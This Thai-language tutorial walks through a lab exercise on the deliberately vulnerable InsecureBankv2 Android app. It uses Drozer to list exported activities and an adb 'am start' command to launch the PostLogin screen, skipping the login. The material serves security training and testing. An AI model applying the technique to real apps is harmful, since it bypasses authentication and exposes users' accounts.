How to invoke Activities from other application – Insecure Bank (1)

บทนำ (Overview)

บทความนี้นำเสนอตัวอย่างการทำ “Invoke Activities” หรือการเรียกใช้งาน “Activity” โดยตรง โดยทดลองกับโปรแกรมที่มีช่องโหว่ชื่อ “Insecure Bank” และใช้งานโปรแกรม “Drozer” ในการหาชื่อ “Activity” ที่มีช่องโหว่ สุดท้ายจึงใช้ “ADB Shell” ผ่าน “Appie” ในการทำ “Invoke Activities” โดยหลักการเราจะทดลองเรียกหน้าจอหลัง “Login” ขึ้นมาโดยที่เราไม่จำเป็นต้องทราบ “username” และ “password” ที่ถูกต้อง

สามารถติดตามวิธีการทำ “Invoke Activities” ผ่าน “ADB” ได้จากบทความ How to invoke Activities from other application (INTENT FUZZING)

ขั้นตอน (Steps)

  1. ติดตั้งโปรแกรม InsecureBank (สามารถติดตามได้จากบทความ How to install InsecureBank)
  2. ใช้โปรแกรม “Appie” เพื่อเข้าถึง “ADB Shell” ดังนี้
    C:\Users\[user]\Desktop
    λ adb shell
    root@android:/ #
    
  3. เราสามารถตรวจสอบชื่อ “com.package.name” ของเราโดยเข้าไปที่ไดเรกทอรี “/data/data”
    root@android:/data # cd data
    cd data
    root@android:/data/data # ls -l
    ls -l
    drwxr-x--x u0_a37   u0_a37            2016-03-06 22:05 com.android.SSLTrustKiller
    drwxr-x--x u0_a1    u0_a1             2016-01-28 00:14 com.android.backupconfirm
    drwxr-x--x u0_a2    u0_a2             2016-01-28 00:32 com.android.browser
    drwxr-x--x u0_a4    u0_a4             2016-01-28 00:39 com.android.certinstaller
    drwxr-x--x u0_a0    u0_a0             2016-01-28 00:14 com.android.contacts
    drwxr-x--x u0_a6    u0_a6             2016-01-28 00:21 com.android.defcontainer
    drwxr-x--x u0_a7    u0_a7             2016-01-28 00:14 com.android.gallery
    drwxr-x--x u0_a12   u0_a12            2016-01-28 00:14 com.android.htmlviewer
    drwxr-x--x system   system            2016-01-28 00:14 com.android.inputdevices
    drwxr-x--x u0_a16   u0_a16            2016-01-28 00:14 com.android.inputmethod.latin
    drwxr-x--x u0_a44   u0_a44            2016-03-06 22:05 com.android.insecurebankv2
    
  4. จากนั้นเราจะหา “ActivityName” โดยใช้โปรแกรม Drozer (How to set Drozer)
  5. จากโปรแกรม Drozer ค้นหา Activity ที่ตั้งค่า Export = True
                ..                    ..:.
               ..o..                  .r..
                ..a..  . ....... .  ..nd
                  ro..idsnemesisand..pr
                  .otectorandroidsneme.
               .,sisandprotectorandroids+.
             ..nemesisandprotectorandroidsn:.
            .emesisandprotectorandroidsnemes..
          ..isandp,..,rotectorandro,..,idsnem.
          .isisandp..rotectorandroid..snemisis.
          ,andprotectorandroidsnemisisandprotec.
         .torandroidsnemesisandprotectorandroid.
         .snemisisandprotectorandroidsnemesisan:
         .dprotectorandroidsnemesisandprotector.
     
    drozer Console (v2.3.4)
    dz> run app.package.manifest com.android.insecurebankv2
    <manifest versionCode="1" versionName="1.0" package="com.android.insecurebankv2" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727">
      <uses-sdk minSdkVersion="15" targetSdkVersion="22">
      </uses-sdk>
      <uses-permission name="android.permission.INTERNET">
      </uses-permission>
      <uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE">
      </uses-permission>
      <uses-permission name="android.permission.SEND_SMS">
      </uses-permission>
      <uses-permission name="android.permission.USE_CREDENTIALS">
      </uses-permission>
      <uses-permission name="android.permission.GET_ACCOUNTS">
      </uses-permission>
      <uses-permission name="android.permission.READ_PROFILE">
      </uses-permission>
      <uses-permission name="android.permission.READ_CONTACTS">
      </uses-permission>
      <uses-permission name="android.permission.READ_PHONE_STATE">
      </uses-permission>
      <uses-permission name="android.permission.READ_EXTERNAL_STORAGE" maxSdkVersion="18">
      </uses-permission>
      <uses-permission name="android.permission.READ_CALL_LOG">
      </uses-permission>
      <uses-permission name="android.permission.ACCESS_NETWORK_STATE">
      </uses-permission>
      <uses-permission name="android.permission.ACCESS_COARSE_LOCATION">
      </uses-permission>
      <uses-feature glEsVersion="0x20000" required="true">
      </uses-feature>
      <application theme="@16974105" label="@2131165248" icon="@2130903040" debuggable="true" allowBackup="true">
        <activity label="@2131165248" name="com.android.insecurebankv2.LoginActivity">
          <intent-filter>
            <action name="android.intent.action.MAIN">
            </action>
            <category name="android.intent.category.LAUNCHER">
            </category>
          </intent-filter>
        </activity>
        <activity label="@2131165271" name="com.android.insecurebankv2.FilePrefActivity" windowSoftInputMode="0x34">
        </activity>
        <activity label="@2131165268" name="com.android.insecurebankv2.DoLogin">
        </activity>
        <activity label="@2131165275" name="com.android.insecurebankv2.PostLogin" exported="true">
        </activity>
        <activity label="@2131165278" name="com.android.insecurebankv2.WrongLogin">
        </activity>
        <activity label="@2131165269" name="com.android.insecurebankv2.DoTransfer" exported="true">
        </activity>
        <activity label="@2131165277" name="com.android.insecurebankv2.ViewStatement" exported="true">
        </activity>
        <provider name="com.android.insecurebankv2.TrackUserContentProvider" exported="true" authorities="com.android.insecurebankv2.TrackUserContentProvider">
        </provider>
        <receiver name="com.android.insecurebankv2.MyBroadCastReceiver" exported="true">
          <intent-filter>
            <action name="theBroadcast">
            </action>
          </intent-filter>
        </receiver>
        <activity label="@2131165267" name="com.android.insecurebankv2.ChangePassword" exported="true">
        </activity>
        <activity theme="@16973839" name="com.google.android.gms.ads.AdActivity" configChanges="0xfb0">
        </activity>
        <activity theme="@2131296479" name="com.google.android.gms.ads.purchase.InAppPurchaseActivity">
        </activity>
        <meta-data name="com.google.android.gms.version" value="@2131427332">
        </meta-data>
        <meta-data name="com.google.android.gms.wallet.api.enabled" value="true">
        </meta-data>
        <receiver name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" exported="false">
          <intent-filter>
            <action name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION">
            </action>
          </intent-filter>
        </receiver>
      </application>
    </manifest>
    
  6. กลับไปที่โปรแกรมบน “Android Emulator” จะพบว่าโปรแกรมร้องขอ “username” และ “password” insecurebank02
  7. ทดลองเรียก Activity โดยใช้คำสั่ง “am start -n com.package.name/com.package.name.ActivityName”
    root@android:/data/data # am start -n com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
    securebankv2/com.android.insecurebankv2.PostLogin                            
    Starting: Intent { cmp=com.android.insecurebankv2/.PostLogin }
    
  8. ปรากฏว่าสามารถข้ามหน้า login ไปได้ insecurebank03

ใส่ความเห็น